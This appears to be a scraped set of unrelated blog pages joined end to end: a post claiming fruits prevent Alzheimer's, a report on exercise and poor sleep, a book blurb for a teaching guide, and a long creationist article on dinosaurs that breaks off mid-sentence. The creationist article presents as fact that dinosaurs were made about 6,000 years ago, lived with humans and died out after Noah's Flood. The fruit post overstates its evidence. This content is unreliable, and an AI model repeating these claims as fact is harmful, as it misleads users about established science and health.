progression. How Antioxidants in Fruits Support Brain Health When talking about fruits and brain health, antioxidants often steal the spotlight. Antioxidants are compounds found in many fruits that help protect cells from damage caused by oxidative stress. This process is known to accelerate aging and contribute to the development of various diseases, including Alzheimer’s. The brain, in particular, is vulnerable to oxidative damage due to its high oxygen consumption and the large amounts of unsaturated fats that are prone to oxidation. Fruits such as berries, citrus, and grapes are packed with these antioxidants. Berries, for example, contain high levels of flavonoids, which have been shown to improve memory and delay the onset of cognitive decline. Studies suggest that regularly eating fruits rich in flavonoids may even reduce the risk of Alzheimer’s by up to 40%. That’s a powerful defense! Here are the common diets, fruits, nutrients, compounds and antioxidants found in fruits that supports the human brain to help prevents or reduce Alzheimer’s Disease. 1. Flavonoids: Nature’s Brain-Boosting Compounds Flavonoids are a specific type of antioxidant found in fruits, and they deserve a special mention when it comes to Alzheimer’s prevention. These natural compounds are known for their anti-inflammatory and antioxidant properties, which make them particularly beneficial for brain health. Studies have shown that flavonoids may help slow down the progression of Alzheimer’s disease. These compounds are thought to improve blood flow to the brain, protect neurons from damage, and even promote the formation of new brain cells, a process known as neurogenesis. Berries, such as blueberries, strawberries, and blackberries, are especially high in flavonoids. Research suggests that people who consume these fruits regularly have better cognitive performance as they age compared to those who don’t. Including these fruits in your diet may offer long-term protection for your brain, potentially delaying the onset of Alzheimer’s. 2. Vitamin C: A Brain-Supporting Nutrient Vitamin C is another essential nutrient found abundantly in fruits, particularly citrus fruits like oranges, grapefruits, and lemons. This vitamin is known for its powerful antioxidant properties, which help protect brain cells from oxidative damage. Studies have suggested that people with higher levels of vitamin C in their diets have a lower risk of developing Alzheimer’s. Vitamin C is believed to work by reducing oxidative stress in the brain, supporting overall brain health, and even helping to clear out amyloid plaques, which are toxic protein clumps found in the brains of people with Alzheimer’s. Regular consumption of fruits rich in vitamin C may thus offer a protective effect against cognitive decline. 3. Polyphenols: A Potential Ally in Alzheimer’s Prevention Polyphenols are another group of compounds found in fruits that have been linked to a reduced risk of Alzheimer’s disease. These naturally occurring chemicals have strong anti-inflammatory and antioxidant effects, making them a valuable component in the fight against neurodegenerative diseases. Apples, grapes, and pomegranates are rich in polyphenols. Research has suggested that these compounds may help reduce inflammation in the brain, a key factor in the development of Alzheimer’s. Additionally, polyphenols may protect brain cells from oxidative damage and enhance the brain’s natural repair mechanisms. One fascinating area of research is the potential of resveratrol, a type of polyphenol found in the skin of grapes, to slow the progression of Alzheimer’s. Some studies have shown that resveratrol may reduce the buildup of amyloid plaques in the brain, offering hope for its potential as a preventive measure. 4. The Mediterranean Diet and Alzheimer’s Prevention One of the most well-researched diets for brain health is the Mediterranean diet, which emphasizes the consumption of fruits, vegetables, whole grains, and healthy fats. People who follow this diet tend to have a lower risk of developing Alzheimer’s disease, likely due to the high intake of brain-protective foods, including fruits. The Mediterranean diet encourages the consumption of a wide variety of fruits, which are rich in antioxidants, vitamins, and minerals that support cognitive health. This diet’s success in promoting brain health highlights the importance of a balanced, fruit-rich diet in preventing Alzheimer’s. 5. Berries: The Brain’s Best Friend If you’re looking to boost your brain health, berries should be at the top of your list. These small fruits are packed with potent antioxidants, especially flavonoids, that can help protect your brain from damage and improve cognitive function. Blueberries, in particular, are known for their high levels of anthocyanins, a type of flavonoid with strong anti-inflammatory and antioxidant properties. Studies have shown that regularly consuming blueberries may delay brain aging and improve memory. Strawberries and blackberries are also rich in antioxidants and have been linked to improved brain function. The compounds in these fruits help reduce oxidative stress, promote communication between brain cells, and protect against cognitive decline. 6. Grapes: A Powerful Source of Resveratrol Grapes, especially red and purple varieties, are another excellent fruit for brain health. They are rich in resveratrol, a polyphenol that has been shown to offer neuroprotective benefits. Resveratrol is thought to protect brain cells from damage, reduce inflammation, and improve blood flow to the brain. Some studies suggest that resveratrol may help slow the progression of Alzheimer’s by reducing the accumulation of amyloid plaques in the brain. Including grapes in your diet, along with other fruits rich in polyphenols, could be a simple yet effective way to support your brain health. 7. Citrus Fruits: A Vitamin C Powerhouse for Brain Health Oranges, grapefruits, lemons, and limes are packed with vitamin C, a vital nutrient for brain health. Vitamin C’s powerful antioxidant properties help protect brain cells from oxidative damage and support overall cognitive function. Studies have shown that people with higher levels of vitamin C in their diet are less likely to develop Alzheimer’s. Regular consumption of citrus fruits may help reduce the risk of cognitive decline and support long-term brain health. Apples are often overlooked when it comes to brain health, but these fruits are rich in quercetin, a type of flavonoid with strong antioxidant properties. Quercetin has been shown to protect brain cells from oxidative stress and reduce inflammation, both of which are key factors in the development of Alzheimer’s. Eating apples regularly may help protect your brain from age-related damage and support cognitive function as you age. The phrase “an apple a day keeps the doctor away” might not be so far from the truth when it comes to brain health. Pomegranates are rich in polyphenols, particularly punicalagin, which has strong antioxidant and anti-inflammatory properties. These compounds have been shown to protect brain cells from damage and reduce the risk of cognitive decline. Some research suggests that consuming pomegranate juice may improve memory and cognitive function in older adults. Including pomegranates in your diet is a delicious way to support your brain health and potentially reduce the risk of Alzheimer’s. Focusing on a Fruit-Rich Diet for Alzheimer’s Prevention While there is no magic bullet for preventing Alzheimer’s disease, a diet rich in fruits offers numerous benefits for brain health. The antioxidants, flavonoids, vitamins, and polyphenols found in fruits help protect the brain from oxidative stress, reduce inflammation, and support cognitive function. Adding Resveratrol variety of fruits into your daily diet is a simple yet powerful way to boost your brain health and potentially reduce the risk of Alzheimer’s disease. The sooner you start, the more benefits you’re likely to reap in the long term. Making Fruits a Part of Your Alzheimer’s Prevention Plan to Ensure Healthy Brain To make fruits an effective part of your Alzheimer’s prevention strategy, it’s essential to consume a wide variety of them. Different fruits offer different nutrients, so a diverse diet is key. Aim to include berries, citrus fruits, apples, grapes, and pomegranates regularly in your meals. Whether you enjoy fruits as snacks, add them to smoothies, or include them in salads, there are countless ways to make fruits a delicious and brain-boosting part of your diet. While more research is needed to fully understand the link between fruits and Alzheimer’s prevention, the evidence so far is promising. Can fruits prevent or reduce the risk of Alzheimer’s Disease? Yes, Fruits are packed with powerful nutrients that support brain health, reduce inflammation, and protect against oxidative stress – all key factors in reducing the risk of Alzheimer’s. By adding a variety of fruits into your diet, you’re not only nourishing your body but also taking proactive steps to support your cognitive health as you age. So next time you reach for a snack, consider grabbing a handful of berries, slicing up an apple, or enjoying a glass of fresh pomegranate juice – your brain will thank you in the long run. Leave a Reply

https://marshekblog.com/can-fruits-prevent-or-reduce-the-risk-of-alzheimers-disease/?swcfpc=1

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Poor quality sleep can shave years off your life, and these effects may be magnified if you don’t get enough physical activity. That’s the bad news. The good news is that getting more exercise may help counter some of the health risks known to accompany poor quality sleep, new research shows. Folks who scored low in both sleep and exercise categories were 57% more likely to die from heart disease, stroke and cancer over more than a decade of follow-up when compared with those who reported getting better sleep and more exercise. “Physical inactivity seems to amplify the health risks of poor sleep patterns in a synergistic way,” said study co-author Emmanuel Stamatakis. “The mortality risk from physical inactivity and poor sleep combined is larger than the sum of the separate risks of poor sleep and physical inactivity,” added Stamatakis, a professor of physical activity, lifestyle and population health at the University of Sydney in Australia. But getting at least 150 minutes of moderate or 75 minutes of vigorous exercise each week seems to dampen these effects, he said. The study wasn’t designed to say how, or even if, poor sleep and lack of exercise work together, but researchers do have their theories. Many sleep problems, such as short sleep or insomnia, cause hormonal and metabolic dysfunction and inflammation, and stimulate the sympathetic nervous system, Stamatakis explained. When the sympathetic nervous system is activated, it triggers the release of stress hormones that can increase heart rate and blood pressure, which can raise your risk for heart disease over time. Physical activity works on the same pathways but in the opposite direction, Stamatakis said. “A possible explanation is that regular activity helps neutralize some of these consequences of poor sleep,” he noted. For the study, the researchers analyzed information from more than 380,000 middle-aged men and women who took part in the large-scale U.K. Biobank study. The findings appear in the June 29 issue of the British Journal of Sports Medicine. “If you are having trouble sleeping, but still manage to exercise regularly, you are in a better place than someone who is not exercising and having sleep problems,” said Dr. Martha Gulati, editor-in-chief of CardioSmart.org, the American College of Cardiology’s educational site for patients. “This is the first study I have seen that looked at how sleep and exercise interact,” said Gulati, who has no ties to the new research. “There appears to be a synergy between the two, but more research is needed to tease out exactly how sleep and exercise work together to affect health.” If you are not sleeping enough, you may be too tired to exercise, she said. It’s also possible that an underlying medical condition may be affecting your sleep.

https://meziesblog.com/can-exercise-reduce-the-effects-of-poor-sleep/

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Designed for new and experienced teachers, EFFECTIVE TEACHING SKILLS: A Guidebook for Educators and School Administrators conceptualizes high-performing teachers as those who provide a respectful, positive, safe, and student-cantered environment that enhances pedagogical outcomes. In addition to collaborating with their colleagues to analyse data and plan for effective and equitable instruction, effective educators and school administrators consistently reflect and evaluate the impact of their choices and actions as well as apply highly respected multisensory teaching approach to literacy. Each of the fourteen chapters in this book focuses on different-but-complementary areas of teaching and learning to help teachers understand both intrinsic and extrinsic factors affecting students’ academic performance. The book also contains theories, case studies, and practical examples of problems in pedagogy and the proven solutions that teachers and school administrators can apply to improve learning outcomes. Get it on Amazon.

https://meziesblog.com/effective-teaching-skills-a-guidebook-for-educators-and-school-administrators/

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The Bible gives us a framework for explaining dinosaurs in terms of thousands of years of history, including the mystery of when they lived and what happened to them. Dinosaurs are used more than almost anything else to indoctrinate children and adults in the idea of millions of years of earth history. However, the Bible gives us a framework for explaining dinosaurs in terms of thousands of years of history, including the mystery of when they lived and what happened to them. Two key texts are Genesis 1:24–25 and Job 40:15–24. Many think that the existence of dinosaurs and their demise is shrouded in such mystery that we may never know the truth about where they came from, when they lived, and what happened to them. However, dinosaurs are only a mystery if you accept the evolutionary story of their history. According to evolutionists: Dinosaurs first evolved around 235 million years ago, long before man evolved.1 No human being ever lived with dinosaurs. Their history is recorded in the fossil layers on earth, which were deposited over millions of years. They were so successful as a group of animals that they eventually ruled the earth. However, around 65 million years ago, something happened to change all of this—the dinosaurs disappeared. Most evolutionists believe some sort of cataclysmic event, such as an asteroid impact, killed them. But many evolutionists claim that some dinosaurs evolved into birds, and thus they are not extinct but are flying around us even today.2 There is no mystery surrounding dinosaurs if you accept the Bible’s totally different account of dinosaur history. According to the Bible: Dinosaurs first existed around 6,000 years ago.3 God made the dinosaurs, along with the other land animals, on Day 6 of the Creation Week (Genesis 1:20–25, 31). Adam and Eve were also made on Day 6—so dinosaurs lived at the same time as people, not separated by eons of time. Dinosaurs could not have died out before people appeared because dinosaurs had not previously existed; and death, bloodshed, disease, and suffering are a result of Adam’s sin (Genesis 1:29–30; Romans 5:12, 14; 1 Corinthians 15:21–22). Representatives of all the kinds of air-breathing land animals, including the dinosaur kinds, went aboard Noah’s Ark. All those left outside the Ark died in the cataclysmic circumstances of the Flood, and many of their remains became fossils. After the Flood, around 4,300 years ago, the remnant of the land animals, including dinosaurs, came off the Ark and lived in the present world, along with people. Because of sin, the judgments of the Curse and the Flood have greatly changed earth. Post-Flood climatic change, lack of food, disease, and man’s activities caused many types of animals to become extinct. The dinosaurs, like many other creatures, died out. Why the big mystery about dinosaurs? How can there be such totally different explanations for dinosaurs? Whether one is an evolutionist or accepts the Bible’s account of history, the evidence for dinosaurs is the same. All scientists have the same facts—they have the same world, the same fossils, the same living creatures, the same universe. If the “facts” are the same, then how can the explanations be so different? The reason is that scientists have only the present—dinosaur fossils exist only in the present—but scientists are trying to connect the fossils in the present to the past. They ask, “What happened in history to bring dinosaurs into existence, wipe them out, and leave many of them fossilized?”4 The science that addresses such issues is known as historical or origins science, and it differs from the operational science that gives us computers, inexpensive food, space exploration, electricity, and the like. Origins science deals with the past, which is not accessible to direct experimentation, whereas operational science deals with how the world works in the here and now, which, of course, is open to repeatable experiments. Because of difficulties in reconstructing the past, those who study fossils (paleontologists) have diverse views on dinosaurs.5 As has been said, “Paleontology (the study of fossils) is much like politics: passions run high, and it’s easy to draw very different conclusions from the same set of facts.”6 A paleontologist who believes the record in the Bible, which claims to be the Word of God,7 will come to different conclusions than an atheist who rejects the Bible. Willful denial of God’s Word (2 Peter 3:3–7) lies at the root of many disputes over historical science. Many people think the Bible is just a book about religion or salvation. It is much more than this. The Bible is the History Book of the Universe and tells us the future destiny of the universe as well. It gives us an account of when time began, the main events of history, such as the entrance of sin and death into the world, the time when the whole surface of the globe was destroyed by water, the giving of different languages at the Tower of Babel, the account of the Son of God coming as a man, His death and Resurrection, and the new heavens and earth to come. Ultimately, there are only two ways of thinking: starting with the revelation from God (the Bible) as foundational to all thinking (including biology, history, and geology), resulting in a Christian worldview; or starting with man’s beliefs (for example, the evolutionary story) as foundational to all thinking, resulting in a secular worldview. Most Christians have been indoctrinated through the media and education system to think in a secular way. They tend to take secular thinking to the Bible, instead of using the Bible to build their thinking (Romans 12:1–2; Ephesians 4:20–24). The Bible says, “The fear of the Lord is the beginning of knowledge” (Proverbs 1:7) and “the fear of the Lord is the beginning of wisdom” (Proverbs 9:10). If one begins with an evolutionary view of history (for which there were no witnesses or written record), then this way of thinking will be used to explain the evidence that exists in the present. Thus, we have the evolutionary explanation for dinosaurs above. But if one begins with the biblical view of history from the written record of an eyewitness (God) to all events of history, then a totally different way of thinking, based on this, will be used to explain the same evidence. Thus, we have the biblical explanation given above. Fossil bones of dinosaurs are found around the world. Many of these finds consist of just fragments of bones, but some nearly complete skeletons have been found. Scientists have been able to describe many different types of dinosaurs based on distinctive characteristics, such as the structure of the skull and limbs.8 The Bible tells us that God created different kinds of land animals on Day 6 of Creation Week (Genesis 1:24–25). Because dinosaurs were land animals, this must have included the dinosaur kinds.9 Evolutionists claim that dinosaurs evolved from some reptile that had originally evolved from amphibians. But they cannot point to any clear transitional (in-between) forms to substantiate their argument. Dinosaur family trees in evolutionary books show many distinct types of dinosaurs, but only hypothetical lines join them up to some common ancestor. The lines are dotted because there is no fossil evidence. Evolutionists simply cannot prove their belief in a nondinosaur ancestor for dinosaurs. Scientists generally do not dig up a dinosaur with all its flesh intact. Even if they found all the bones, they still would have less than 40 percent of the animal to work out what it originally looked like. The bones do not tell the color of the animal, for example, although some fossils of skin impressions have been found, indicating the skin texture. As there is some diversity of color among reptiles living today, dinosaurs may have varied greatly in color, skin texture, and so on. When reconstructing dinosaurs from bony remains, scientists make all kinds of guesses and often disagree. When reconstructing dinosaurs from bony remains, scientists make all kinds of guesses and often disagree. For example, debate has raged about whether dinosaurs were warm- or cold-blooded. It is even difficult to tell whether a dinosaur was male or female from its bones. There is much speculation about such things. Sometimes scientists make mistakes in their reconstructions, which need correction when more bones are found. For instance, the original “discoverer” of Brontosaurus put the wrong head on a skeleton of this dinosaur.10 Secular books would tell you that the first discovery of what later were called dinosaurs was in 1677 when Dr. Robert Plot found bones so big they were thought to belong to a giant elephant or a giant human.11 In 1822, Mary Anne Mantell went for a walk along a country road in Sussex, England. According to tradition, she found a stone that glittered in the sunlight and showed it to her fossil-collecting husband. Dr. Mantell, a physician, noticed that the stone contained a tooth similar to, but much larger than, that of modern reptiles. He concluded that it belonged to some extinct giant plant-eating reptile with teeth like an iguana. In 1825 he named the owner of the tooth Iguanodon (iguana tooth). It was Dr. Mantell who began to popularize the “age of reptiles.”12 From a biblical perspective, however, the time of the above discoveries was actually the time when dinosaurs were rediscovered. Adam discovered dinosaurs when he first observed them. Evolutionists claim dinosaurs lived millions of years ago. But it is important to realize that when they dig up a dinosaur bone it does not have a label attached showing its date. Evolutionists obtain their dates by indirect dating methods that other scientists question, and there is much evidence against the millions of years.13 Does God tell us when He made Tyrannosaurus rex? Many would say no. But the Bible states that God made all things in six normal days. He made the land animals, including dinosaurs, on Day 6 (Genesis 1:24–25), so they date from around 6,000 years ago—the approximate date of creation obtained by adding up the years in the Bible.14 So, since T. rex was a land animal and God made all the land animals on Day 6, then God made T. rex (or the original Tyrannosaurid kind) on Day 6. Furthermore, from the Bible we see that there was no death, bloodshed, disease, or suffering before sin.15 If one approaches Genesis to Revelation consistently, interpreting Scripture with Scripture, then death and bloodshed of man and animals came into the world only after Adam sinned. The first death of an animal occurred when God shed an animal’s blood in the Garden of Eden and clothed Adam and Eve (Genesis 3:21). This was also a picture of the Atonement—foreshadowing Christ’s blood that was to be shed for us. Thus, there could not have been bones of dead animals before sin—this would undermine the gospel. This means that the dinosaurs must have died after sin entered the world, not before. Dinosaur bones could not be millions of years old because Adam lived only thousands of years ago. If people saw dinosaurs, you would think that ancient historical writings, such as the Bible, should mention them. The King James Version was first translated in 1611.16 Some people think that because the word “dinosaur” is not found in this or other translations, the Bible does not mention dinosaurs. It was not until 1841, however, that the word “dinosaur” was invented.17 Sir Richard Owen, a famous British anatomist and first superintendent of the British Museum (and a staunch anti-Darwinist), on viewing the bones of Iguanodon and Megalosaurus, realized these represented a unique group of reptiles that had not yet been classified. He coined the term “dinosaur” from Greek words meaning “terrible lizard.”18 Thus, one would not expect to find the word “dinosaur” in the King James Bible—the word did not exist when the translation was done. Is there another word for “dinosaur”? There are dragon legends from around the world. Many dragon descriptions fit the characteristics of specific dinosaurs. Could these actually be accounts of encounters with what we now call dinosaurs? Just as Flood legends are based on a real global Flood (Flood of Noah)— dragon legends are possibly based on actual encounters with real animals that today we call dinosaurs. Many of these land-dragon descriptions do fit with what we know about dinosaurs. In Genesis 1:21 (NAS), the Bible says, “And God created the great sea monsters and every living creature that moves, with which the waters swarmed, after their kind.” The Hebrew word here for “sea monsters” (“whales” in KJV) is the word translated elsewhere as “dragon” (Hebrew: tannin). So, in the first chapter of the first book of the Bible, God may be describing the great sea dragons (sea-dwelling, dinosaur-type animals) that He created. There are other Bible passages about dragons that lived in the sea: “the dragons in the waters” (Psalm 74:13 KJV), “and he shall slay the dragon that is in the sea” (Isaiah 27:1 KJV). Though the word “dinosaur” strictly refers to animals that lived on the land, the sea reptiles and flying reptiles are often grouped with the dinosaurs. The sea dragons could have included dinosaur-type animals such as the Mosasaurus.19 Job 41 describes a great animal that lived in the sea, Leviathan, that even breathed fire. This “dragon” may have been something like the mighty 40 ft. (12 m) Sarcosuchus imperator (Super Croc),20 or the 82 ft. (25 m) Liopleurodon. There is also mention of a flying serpent in the Bible: the “fiery flying serpent” (Isaiah 30:6). This could be a reference to one of the pterodactyls, which are popularly thought of as flying dinosaurs, such as the Pteranodon, Rhamphorhynchus, or Ornithocheirus.21 Not long after the Flood, God was showing a man called Job how great He was as Creator, by reminding Job of the largest land animal He had made: Look now at the behemoth, which I made along with you; he eats grass like an ox. See now, his strength is in his hips, and his power is in his stomach muscles. He moves his tail like a cedar; the sinews of his thighs are tightly knit. His bones are like beams of bronze, his ribs like bars of iron. He is the first of the ways of God; only He who made him can bring near His sword (Job 40:15–19 NKJV). The phrase “first of the ways of God” suggests this was the largest land animal God had made. So what kind of animal was “behemoth”? Bible translators, not being sure what this beast was, often transliterated the Hebrew, and thus the word behemoth (e.g., KJV, NKJV, NASB, NIV). However, in many Bible commentaries and Bible footnotes, “behemoth” is said to be “possibly the hippopotamus or elephant.”22 Some Bible versions actually translate “behemoth” this way.23 Besides the fact that the elephant and hippo were not the largest land animals God made (some of the dinosaurs far eclipsed these), this description does not make sense, since the tail of behemoth is compared to the large cedar tree (verse 17). Now an elephant’s tiny tail (or a hippo’s tail that looks like a flap of skin) is quite unlike a cedar tree. Clearly, the elephant and the hippo could not possibly be “behemoth.” No living creature comes close to this description. However, behemoth is very much like Brachiosaurus, one of the large dinosaurs. In the film The Great Dinosaur Mystery,24 a number of dragon accounts are presented: Petroglyphs (drawings carved on rock) of dinosaur-like creatures have also been found.25 In summary, people down through the ages have been very familiar with dragons. The descriptions of these animals fit with what we know about dinosaurs. The Bible mentions such creatures, even ones that lived in the sea and flew in the air. There is a tremendous amount of other historical evidence that such creatures have lived beside people. There is also physical evidence that dinosaur bones are not millions of years old. Scientists from Montana State University found T. rex bones that were not totally fossilized. Sections of the bones were like fresh bone and contained what seems to be blood cells and hemoglobin. If these bones really were tens of millions of years old, then the blood cells and hemoglobin would have totally disintegrated.26 Also, there should not be “fresh” bones if they were really millions of years old.27 A report by these scientists stated the following: A thin slice of T. rex bone glowed amber beneath the lens of my microscope . . . . The lab filled with murmurs of amazement, for I had focused on something inside the vessels that none of us had ever noticed before: tiny round objects, translucent red with a dark center . . . . Red blood cells? The shape and location suggested them, but blood cells are mostly water and couldn’t possibly have stayed preserved in the 65-million-year-old tyrannosaur . . . . The bone sample that had us so excited came from a beautiful, nearly complete specimen of Tyrannosaurus rex unearthed in 1990 . . . . When the team brought the dinosaur into the lab, we noticed that some parts deep inside the long bone of the leg had not completely fossilized . . . . So far, we think that all of this evidence supports the notion that our slices of T. rex could contain preserved heme and hemoglobin fragments. But more work needs to be done before we are confident enough to come right out and say, “Yes, this T. rex has blood compounds left in its tissues.”28 Unfossilized duck-billed dinosaur bones have been found on the North Slope in Alaska.29 Also, creation scientists collected such (unfossilized) frozen dinosaur bones in Alaska.30 Evolutionists would not say that these bones had stayed frozen for the many millions of years since these dinosaurs supposedly died out (according to evolutionary theory). Yet the bones could not have survived for the millions of years unmineralized. This is a puzzle to those who believe in an “age of dinosaurs” millions of years ago, but not to someone who builds his thinking on the Bible. Movies like Jurassic Park and The Lost World portray most dinosaurs as aggressive meat-eaters. But the mere presence of sharp teeth does not tell you how an animal behaved or necessarily what food it ate—only what kind of teeth it had (for ripping food and the like). However, by studying fossil dinosaur dung (coprolite), scientists have been able to determine the diet of some dinosaurs.31 Originally, before sin, all animals, including the dinosaurs, were vegetarian. Genesis 1:30 states, “And to every beast of the earth, and to every bird of the air, and to every thing that creeps upon the earth, which has life, I have given every green herb for food: and it was so.” This means that even T. rex, before sin entered the world, ate only plants. Some people object to this by pointing to the big teeth that a large T. rex had, insisting they must have been used for attacking animals. However, just because an animal has big, sharp teeth does not mean it eats meat. It just means it has big, sharp teeth!32 Many animals today have sharp teeth but are basically vegetarian. Many animals today have sharp teeth but are basically vegetarian. The giant panda has sharp teeth like a meat-eater’s, but it eats bamboo. Perhaps the panda’s teeth were beautifully designed to eat bamboo. To explain why a giant panda has teeth like a meat-eaters today, yet eats bamboo, evolutionists have to say that the giant panda evolved as a meat-eater, and then switched to bamboo.33 Different species of bats variously eat fruit, nectar, insects, small animals, and blood, but their teeth do not clearly indicate what they eat.34 Bears have teeth with carnivore features, but some bears are vegetarian, and many, if not most, are mainly vegetarian. Before sin, God described the world as “very good” (Genesis 1:31). Some cannot accept this concept of perfect harmony because of the food chain that they observe in today’s world. However, one cannot look at the sin-cursed world with the resultant death and struggle and use this to reject the Genesis account of history. Everything has changed because of sin. That’s why Paul describes the present creation as “groaning” (Romans 8:22). One must look through the Bible’s “eyes” to understand the world.35 Some argue that people or animals would have been hurt even in an ideal world. They contend that even before sin, Adam or an animal could have stood on small creatures or scratched himself on a branch. Now these sorts of situations are true of today’s fallen world—the present world is not perfect; it is suffering from the effects of the Curse (Romans 8:22). One cannot look at the Bible through the world’s eyes and insist that the world before sin was just like the world we see today. We do not know what a perfect world, continually restored and totally upheld by God’s power (Colossians 1:17; Hebrews 1:3), would have been like—we have never experienced perfection (only Adam and Eve did before sin). We do get little glimpses from Scripture, however; in Deuteronomy 8:4, 29:5 and Nehemiah 9:21, we are told that when the Israelites wandered in the desert for 40 years, their clothes and shoes did not wear out, nor did their feet swell. When God upholds things perfectly, wearing out or being hurt in any way is not even an option. Think of Shadrach, Meshach, and Abednego (Daniel 3:26–27). They came out of the fire without even the smell of smoke on them. Again, when the Lord upholds perfectly, being hurt is not possible. In a perfect world, before sin and the Curse, God would have upheld everything, but in this cursed world, things run down. Many commentators believe the description in Isaiah 11:6–9 of the wolf and lamb, and the lion that eats straw like an ox, is a picture of the new earth in the future restoration (Acts 3:21) when there will be no more curse or death (Revelation 21:1, 22:3). The animals described are living peacefully as vegetarians (this is also the description of the animal world before sin—Genesis 1:30). Today’s world has been changed dramatically because of sin and the Curse. The present food chain and animal behavior (which also changed after the Flood—Genesis 9:2–3) cannot be used as a basis for interpreting the Bible—the Bible explains why the world is the way it is. In the beginning, God gave Adam and Eve dominion over the animals: “Then God blessed them, and God said to them, ‘Be fruitful and multiply; fill the earth and subdue it; have dominion over the fish of the sea, over the birds of the air, and over every living thing that moves on the earth’” (Genesis 1:28 NKJV). Looking at today’s world, we are reminded of Hebrews 2:8 (NKJV): “For in that He put all in subjection under him, He left nothing that is not put under him. But now we do not yet see all things put under him.” Man’s relationship with all things changed because of sin—they are not “under him” as they were originally. Most people, including most Christians, tend to observe the world as it is today, with all its death and suffering, and then take that observation to the Bible and interpret it in that light. But we are sinful, fallible human beings, observing a sin-cursed world (Romans 8:22); and thus, we need to start with divine revelation, the Bible, to begin to understand. So how did fangs and claws come about? Dr. Henry Morris, a founding figure in the modern creation movement, states: Whether such structures as fangs and claws were part of their original equipment, or were recessive features which only became dominant due to selection processes later, or were mutational features following the Curse, or exactly what, must await further research.36 After sin entered the world, everything changed. Maybe some animals started eating each other at this stage. By the time of Noah, God described what had happened this way: “So God looked upon the earth, and indeed it was corrupt; for all flesh had corrupted their way on the earth” (Genesis 6:12 NKJV). Also, after the Flood, God changed the behavior of animals. We read, “And the fear of you and the dread of you shall be on every beast of the earth, on every bird of the air, on all that move on the earth, and on all the fish of the sea. They are given into your hand” (Genesis 9:2 NKJV). Thus, man would find it much more difficult to carry out the dominion mandate given in Genesis 1:28. Fossil formation requires a sudden burial. When an animal dies, it usually gets eaten or decays until there is nothing left. To form a fossil, unique conditions are required to preserve the animal and replace it with minerals, etc. To form a fossil, unique conditions are required to preserve the animal and replace it with minerals, etc. Evolutionists once claimed that the fossil record was formed slowly as animals died and were gradually covered by sediment. But they have acknowledged more recently that the fossil record must involve catastrophic processes.37 To form the billions of fossils worldwide, in layers sometimes kilometers thick, the organisms, by and large, must have been buried quickly. Many evolutionists now say the fossil record formed quickly, in spurts interspersed by millions of years. According to the Bible, as time went on, earth became full of wickedness, so God determined that He would send a global Flood “to destroy from under heaven all flesh in which is the breath of life” (Genesis 6:17). God commanded Noah to build a very large boat into which he would take his family and representatives of every kind of land-dwelling, air-breathing animal (that God Himself would choose and send to Noah, Genesis 6:20). This must have included two of each kind of dinosaur. Many people think of dinosaurs as large creatures that would never have fit into the Ark. But the average size of a dinosaur, based on the skeletons found over the earth, is about the size of a large sheep or bison.38 Indeed, many dinosaurs were relatively small. For instance, Struthiomimus was the size of an ostrich, and Compsognathus was no bigger than a rooster. Only a few dinosaurs grew to extremely large sizes (e.g., Brachiosaurus and Apatosaurus), but even they were not as large as the largest animal in the world today, the blue whale. (Reptiles have the potential to grow as long as they live. Thus, the large dinosaurs were probably very old ones.) It is realistic to assume that God would have sent young adults to the Ark, not fully grown creatures. Dinosaurs laid eggs, and the biggest fossil dinosaur egg found is about the size of a football.39 Even the largest dinosaurs were very small when first hatched. Remember that the animals that came off the boat were to repopulate the earth. Thus, it would have been necessary to choose young adults, which would soon be in the prime of their reproductive life, to go on the Ark. Recent research suggests that dinosaurs underwent rapid adolescent growth spurts.40 So it is realistic to assume that God would have sent young adults to the Ark, not fully grown creatures. Some might argue that the 600 or more named species of dinosaurs could not have fit on the Ark. But Genesis 6:20 states that representative kinds of land animals boarded the Ark. The question then is, what is a “kind” (Hebrew: min)? Biblical creationists have pointed out that there can be many species descended from a kind. For example, there are many types of cats in the world, but all cat species probably came from one or only a few kinds of cats originally.41 The cat varieties today have developed by natural and artificial selection acting on the original variation in the information (genes) of the original cats. This has produced different combinations and subsets of information, and thus different types of cats. Mutations (errors in copying of the genes during reproduction) can also contribute to the variation, but the changes caused by mutations are “downhill,” causing loss of the original information. Even speciation could occur through these processes. This speciation is not “evolution,” since it is based on the created information already present and is thus a limited, downhill process, not involving an upward increase in complexity. Thus, only one or a few feline pairs would have been needed on Noah’s Ark. Dinosaur names have tended to proliferate, with new names being given to just a few pieces of bone, even if the skeleton looks similar to one that is a different size or found in a different country. There were probably fewer than 50 distinct groups or kinds of dinosaurs that had to be on the Ark.42 Also, it must be remembered that Noah’s Ark was extremely large and quite capable of carrying the number of animals needed, including dinosaurs. The land animals that were not on the Ark, including dinosaurs, drowned. Many were preserved in the layers formed by the Flood—thus the millions of fossils. Presumably, many of the dinosaur fossils were buried at this time, around 4,500 years ago. Also, after the Flood, there would have been considerable catastrophism, including such events as the Ice Age, resulting in some post-Flood formation of fossils, too. The contorted shapes of these animals preserved in the rocks, the massive numbers of them in fossil graveyards, their wide distribution, and some whole skeletons, all provide convincing evidence that they were buried rapidly, testifying to massive flooding.43 At the end of the Flood, Noah, his family, and the animals came out of the Ark (Genesis 8:15–17). The dinosaurs thus began a new life in a new world. Along with the other animals, the dinosaurs came out to breed and repopulate the earth. They would have left the landing place of the Ark and spread over the earth’s surface. The descendants of these dinosaurs gave rise to the dragon legends. But the world they came out to repopulate differed from the one they knew before Noah’s Flood. The Flood had devastated it. It was now a much more difficult world in which to survive. After the Flood, God told Noah that from then on, the animals would fear man, and that animal flesh could be food for man (Genesis 9:1–7). Even for man, the world had become a harsher place. To survive, the once easily obtained plant nutrition would now have to be supplemented by animal sources. Both animals and man would find their ability to survive tested to the utmost. We can see from the fossil record, from the written history of man, and from experience over recent centuries that many forms of life on this planet have not survived that test. We need to remember that many plants and air-breathing, land-dwelling animals have become extinct since the Flood—either due to man’s action or competition with other species or because of the harsher post-Flood environment. Many groups are still becoming extinct. Dinosaurs seem to be numbered among the extinct groups. Why then are people so intrigued about dinosaurs and have little interest in the extinction of the fern Cladophebius, for example? It’s the dinosaurs’ appeal as monsters that excites and fascinates people. Evolutionists have capitalized on this fascination, and the world is awash with evolutionary propaganda centered on dinosaurs. As a result, evolutionary philosophy has permeated modern thinking, even among Christians. If you were to ask the zoo why they have endangered species programs, you would probably get an answer something like this: “We’ve lost lots of animals from this earth. Animals are becoming extinct all the time. Look at all the animals that are gone forever. We need to act to save the animals.” If you then asked, “Why are animals becoming extinct?” you might get an answer like this: “It’s obvious! People killing them, lack of food, man destroying the environment, diseases, genetic problems, catastrophes like floods—there are lots of reasons.” The factors that cause extinction today . . . are the same factors that caused the dinosaurs to become extinct. If you then asked, “Well, what happened to the 